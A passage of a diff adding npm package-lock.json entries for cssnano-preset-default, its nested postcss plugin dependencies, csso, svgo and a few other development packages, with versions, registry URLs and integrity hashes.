+ "dev": true, + "dependencies": { + "autoprefixer": "^6.3.1", + "decamelize": "^1.1.2", + "defined": "^1.0.0", + "has": "^1.0.1", + "object-assign": "^4.0.1", + "postcss": "^5.0.14", + "postcss-calc": "^5.2.0", + "postcss-colormin": "^2.1.8", + "postcss-convert-values": "^2.3.4", + "postcss-discard-comments": "^2.0.4", + "postcss-discard-duplicates": "^2.0.1", + "postcss-discard-empty": "^2.0.1", + "postcss-discard-overridden": "^0.1.1", + "postcss-discard-unused": "^2.2.1", + "postcss-filter-plugins": "^2.0.0", + "postcss-merge-idents": "^2.1.5", + "postcss-merge-longhand": "^2.0.1", + "postcss-merge-rules": "^2.0.3", + "postcss-minify-font-values": "^1.0.2", + "postcss-minify-gradients": "^1.0.1", + "postcss-minify-params": "^1.0.4", + "postcss-minify-selectors": "^2.0.4", + "postcss-normalize-charset": "^1.1.0", + "postcss-normalize-url": "^3.0.7", + "postcss-ordered-values": "^2.1.0", + "postcss-reduce-idents": "^2.2.2", + "postcss-reduce-initial": "^1.0.0", + "postcss-reduce-transforms": "^1.0.3", + "postcss-svgo": "^2.1.1", + "postcss-unique-selectors": "^2.0.2", + "postcss-value-parser": "^3.2.3", + "postcss-zindex": "^2.0.1" + } + }, + "node_modules/cssnano-preset-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-4.0.0.tgz", + "integrity": "sha1-wzQoe099SfstFwqS+SFGVXiOO2s=", + "dev": true, + "dependencies": { + "css-declaration-sorter": "^3.0.0", + "cssnano-util-raw-cache": "^4.0.0", + "postcss": "^6.0.0", + "postcss-calc": "^6.0.0", + "postcss-colormin": "^4.0.0", + "postcss-convert-values": "^4.0.0", + "postcss-discard-comments": "^4.0.0", + "postcss-discard-duplicates": "^4.0.0", + "postcss-discard-empty": "^4.0.0", + "postcss-discard-overridden": "^4.0.0", + "postcss-merge-longhand": "^4.0.0", + "postcss-merge-rules": "^4.0.0", + "postcss-minify-font-values": "^4.0.0", + "postcss-minify-gradients": "^4.0.0", + "postcss-minify-params": "^4.0.0", + "postcss-minify-selectors": "^4.0.0", + "postcss-normalize-charset": "^4.0.0", + "postcss-normalize-display-values": "^4.0.0", + "postcss-normalize-positions": "^4.0.0", + "postcss-normalize-repeat-style": "^4.0.0", + "postcss-normalize-string": "^4.0.0", + "postcss-normalize-timing-functions": "^4.0.0", + "postcss-normalize-unicode": "^4.0.0", + "postcss-normalize-url": "^4.0.0", + "postcss-normalize-whitespace": "^4.0.0", + "postcss-ordered-values": "^4.0.0", + "postcss-reduce-initial": "^4.0.0", + "postcss-reduce-transforms": "^4.0.0", + "postcss-svgo": "^4.0.0", + "postcss-unique-selectors": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-preset-default/node_modules/browserslist": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.0.1.tgz", + "integrity": "sha512-QqiiIWchEIkney3wY53/huI7ZErouNAdvOkjorUALAwRcu3tEwOV3Sh6He0DnP38mz1JjBpCBb50jQBmaYuHPw==", + "dev": true, + "dependencies": { + "caniuse-lite": "^1.0.30000865", + "electron-to-chromium": "^1.3.52", + "node-releases": "^1.0.0-alpha.10" + }, + "bin": { + "browserslist": "cli.js" + } + }, + "node_modules/cssnano-preset-default/node_modules/caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dev": true, + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-preset-default/node_modules/coa": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.1.tgz", + "integrity": "sha512-5wfTTO8E2/ja4jFSxePXlG5nRu5bBtL/r1HCIpJW/lzT6yDtKl0u0Z4o/Vpz32IpKmBn7HerheEZQgA9N2DarQ==", + "dev": true, + "dependencies": { + "q": "^1.1.2" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/color": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/color/-/color-3.0.0.tgz", + "integrity": "sha512-jCpd5+s0s0t7p3pHQKpnJ0TpQKKdleP71LWcA0aqiljpiuAkOSUFN/dyH8ZwF0hRmFlrIuRhufds1QyEP9EB+w==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.1", + "color-string": "^1.5.2" + } + }, + "node_modules/cssnano-preset-default/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/cssnano-preset-default/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/cssnano-preset-default/node_modules/color-string": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.5.2.tgz", + "integrity": "sha1-JuRYFLw8mny9Z1FkikFDRRSnc6k=", + "dev": true, + "dependencies": { + "color-name": "^1.0.0", + "simple-swizzle": "^0.2.2" + } + }, + "node_modules/cssnano-preset-default/node_modules/csso": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/csso/-/csso-3.5.1.tgz", + "integrity": "sha512-vrqULLffYU1Q2tLdJvaCYbONStnfkfimRxXNaGjxMldI0C7JPBC4rB1RyjhfdZ4m1frm8pM9uRPKH3d2knZ8gg==", + "dev": true, + "dependencies": { + "css-tree": "1.0.0-alpha.29" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/csso/node_modules/css-tree": { + "version": "1.0.0-alpha.29", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.29.tgz", + "integrity": "sha512-sRNb1XydwkW9IOci6iB2xmy8IGCj6r/fr+JWitvJ2JxQRPzN3T4AGGVWCMlVmVwM1gtgALJRmGIlWv5ppnGGkg==", + "dev": true, + "dependencies": { + "mdn-data": "~1.1.0", + "source-map": "^0.5.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/csso/node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-preset-default/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-preset-default/node_modules/is-svg": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-3.0.0.tgz", + "integrity": "sha512-gi4iHK53LR2ujhLVVj+37Ykh9GLqYHX6JOVXbLAucaG/Cqw9xwdFOjDM2qeifLs1sF1npXXFvDu0r5HNgCMrzQ==", + "dev": true, + "dependencies": { + "html-comment-regex": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-preset-default/node_modules/js-yaml": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.10.0.tgz", + "integrity": "sha512-O2v52ffjLa9VeM43J4XocZE//WT9N0IiwDa3KSHH7Tu8CtH+1qM8SIZvnsTh6v+4yFy5KUY3BHUVwjpfAWsjIA==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/cssnano-preset-default/node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", + "dev": true + }, + "node_modules/cssnano-preset-default/node_modules/normalize-url": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-3.2.0.tgz", + "integrity": "sha512-WvF3Myk0NhXkG8S9bygFM4IC1KOvnVJGq0QoGeoqOYOBeinBZp5ybW3QuYbTc89lkWBMM9ZBO4QGRoc0353kKA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-calc": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-6.0.1.tgz", + "integrity": "sha1-PSQXG79udinUIqQ26/5t2VEfQzA=", + "dev": true, + "dependencies": { + "css-unit-converter": "^1.1.1", + "postcss": "^6.0.0", + "postcss-selector-parser": "^2.2.2", + "reduce-css-calc": "^2.0.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-colormin": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-4.0.1.tgz", + "integrity": "sha1-bxwYoBVbxpYT8v8ThD4uSuj/C74=", + "dev": true, + "dependencies": { + "browserslist": "^4.0.0", + "color": "^3.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-convert-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-4.0.0.tgz", + "integrity": "sha1-d9d9mu0dxOaVbmUcw0nVMwWHb2I=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-discard-comments": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-4.0.0.tgz", + "integrity": "sha1-loSimedrPpMmPvj9KtvxocCP2I0=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-discard-duplicates": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-4.0.0.tgz", + "integrity": "sha1-QvPCZ/hfqQngQsNXZ+z9Zcsr1yw=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-discard-empty": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-4.0.0.tgz", + "integrity": "sha1-VeGKWcdBKOOMfSgEvPpAVmEfuX8=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-discard-overridden": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-4.0.0.tgz", + "integrity": "sha1-Sgv4WXh4TPH4HtLBwf2dlkodofo=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-merge-longhand": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-4.0.4.tgz", + "integrity": "sha512-wLi2u22mSdBDBjLF8pyaPCNppOmqb+B4O0Dlt/4nUwn79EltDUJmCeCDYqo7SB2z9puOHTftnxviY4J9xS+ygQ==", + "dev": true, + "dependencies": { + "css-color-names": "0.0.4", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0", + "stylehacks": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-merge-rules": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-4.0.1.tgz", + "integrity": "sha1-Qw/Vmz8u0uivzQsxJ47aOYVKuxA=", + "dev": true, + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-api": "^3.0.0", + "cssnano-util-same-parent": "^4.0.0", + "postcss": "^6.0.0", + "postcss-selector-parser": "^3.0.0", + "vendors": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-merge-rules/node_modules/postcss-selector-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", + "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", + "dev": true, + "dependencies": { + "dot-prop": "^4.1.1", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-minify-font-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-4.0.0.tgz", + "integrity": "sha1-TMM9KD1qgXWQNudX75gdksvYW+0=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-minify-gradients": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-4.0.0.tgz", + "integrity": "sha1-P8ORZDnSepu4Bm23za2AFlDrCQ4=", + "dev": true, + "dependencies": { + "cssnano-util-get-arguments": "^4.0.0", + "is-color-stop": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-minify-params": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-4.0.0.tgz", + "integrity": "sha1-BekWbuSMBa9lGYnOhNOcG015BnQ=", + "dev": true, + "dependencies": { + "alphanum-sort": "^1.0.0", + "cssnano-util-get-arguments": "^4.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0", + "uniqs": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-minify-selectors": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-4.0.0.tgz", + "integrity": "sha1-sen2xGNBbT/Nyybnt4XZX2FXiq0=", + "dev": true, + "dependencies": { + "alphanum-sort": "^1.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-selector-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-minify-selectors/node_modules/postcss-selector-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", + "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", + "dev": true, + "dependencies": { + "dot-prop": "^4.1.1", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-normalize-charset": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-4.0.0.tgz", + "integrity": "sha1-JFJyknAtXoEp6vo9HeSe1RpqtzA=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-normalize-url": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-4.0.0.tgz", + "integrity": "sha1-t6nIrSbPJmlMFG6y1ovQz0mVbw0=", + "dev": true, + "dependencies": { + "is-absolute-url": "^2.0.0", + "normalize-url": "^3.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-ordered-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-4.0.0.tgz", + "integrity": "sha1-WLQMdPcuAi6zQVLBLksPk1RIL8I=", + "dev": true, + "dependencies": { + "cssnano-util-get-arguments": "^4.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-reduce-initial": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-4.0.1.tgz", + "integrity": "sha1-8tWPUM6isMXcEnjW6l7Q/1gpwpM=", + "dev": true, + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-api": "^3.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-reduce-transforms": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-4.0.0.tgz", + "integrity": "sha1-9kX8dEDDUnT0DegQThStcWPt8Yg=", + "dev": true, + "dependencies": { + "cssnano-util-get-match": "^4.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-svgo": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-4.0.0.tgz", + "integrity": "sha1-wLutAlIPxjbJ14sOhAPi5RXDIoU=", + "dev": true, + "dependencies": { + "is-svg": "^3.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0", + "svgo": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/postcss-unique-selectors": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-4.0.0.tgz", + "integrity": "sha1-BMHpdkx1h0JhMDQCxB8Ol2n8VQE=", + "dev": true, + "dependencies": { + "alphanum-sort": "^1.0.0", + "postcss": "^6.0.0", + "uniqs": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/reduce-css-calc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/reduce-css-calc/-/reduce-css-calc-2.1.4.tgz", + "integrity": "sha512-i/vWQbyd3aJRmip9OVSN9V6nIjLf/gg/ctxb0CpvHWtcRysFl/ngDBQD+rqavxdw/doScA3GMBXhzkHQ4GCzFQ==", + "dev": true, + "dependencies": { + "css-unit-converter": "^1.1.1", + "postcss-value-parser": "^3.3.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cssnano-preset-default/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-preset-default/node_modules/svgo": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.0.5.tgz", + "integrity": "sha512-nYrifviB77aNKDNKKyuay3M9aYiK6Hv5gJVDdjj2ZXTQmI8WZc8+UPLR5IpVlktJfSu3co/4XcWgrgI6seGBPg==", + "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.", + "dev": true, + "dependencies": { + "coa": "~2.0.1", + "colors": "~1.1.2", + "css-select": "~1.3.0-rc0", + "css-select-base-adapter": "~0.1.0", + "css-tree": "1.0.0-alpha25", + "css-url-regex": "^1.1.0", + "csso": "^3.5.0", + "js-yaml": "~3.10.0", + "mkdirp": "~0.5.1", + "object.values": "^1.0.4", + "sax": "~1.2.4", + "stable": "~0.1.6", + "unquote": "~1.1.1", + "util.promisify": "~1.0.0" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/cssnano-util-get-arguments": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-util-get-arguments/-/cssnano-util-get-arguments-4.0.0.tgz", + "integrity": "sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8=", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-util-get-match": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-util-get-match/-/cssnano-util-get-match-4.0.0.tgz", + "integrity": "sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0=", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-util-raw-cache": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-util-raw-cache/-/cssnano-util-raw-cache-4.0.0.tgz", + "integrity": "sha1-vgooVuJfGF9feivMBiTii38Xmp8=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/cssnano-util-raw-cache/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-util-raw-cache/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-util-raw-cache/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/cssnano-util-raw-cache/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/cssnano-util-raw-cache/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-util-raw-cache/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/cssnano-util-raw-cache/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cssnano-util-raw-cache/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano-util-same-parent": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-util-same-parent/-/cssnano-util-same-parent-4.0.0.tgz", + "integrity": "sha1-0qPeEDmqmLxOwlAB+gUDMMKhbaw=", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/csso": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/csso/-/csso-2.3.2.tgz", + "integrity": "sha1-3dUsWHAz9J6Utx/FVWnyUuj/X4U=", + "dev": true, + "dependencies": { + "clap": "^1.0.9", + "source-map": "^0.5.3" + }, + "bin": { + "csso": "bin/csso" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cucumber-expressions": { + "version": "6.6.2", + "resolved": "https://registry.npmjs.org/cucumber-expressions/-/cucumber-expressions-6.6.2.tgz", + "integrity": "sha512-WcFSVBiWNLJbIcAAC3t/ACU46vaOKfe1UIF5H3qveoq+Y4XQm9j3YwHurQNufRKBBg8nCnpU7Ttsx7egjS3hwA==", + "deprecated": "This package is now published under @cucumber/cucumber-expressions", + "dev": true, + "dependencies": { + "becke-ch--regex--s0-0-v1--base--pl--lib": "^1.2.0" + } + }, + "node_modules/currently-unhandled": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz", + "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", + "dev": true, + "dependencies": { + "array-find-index": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cyclist": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-0.2.2.tgz", + "integrity": "sha1-GzN5LhHpFKL9bW7WRHRkRE5fpkA=", + "dev": true + }, + "node_modules/d": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/d/-/d-1.0.0.tgz", + "integrity": "sha1-dUu1v+VUUdpppYuU1F9MWwRi1Y8=", + "dev": true, + "dependencies": { + "es5-ext": "^0.10.9" + } + }, + "node_modules/dashdash": { + "version": "1.14.1", + "resolved": 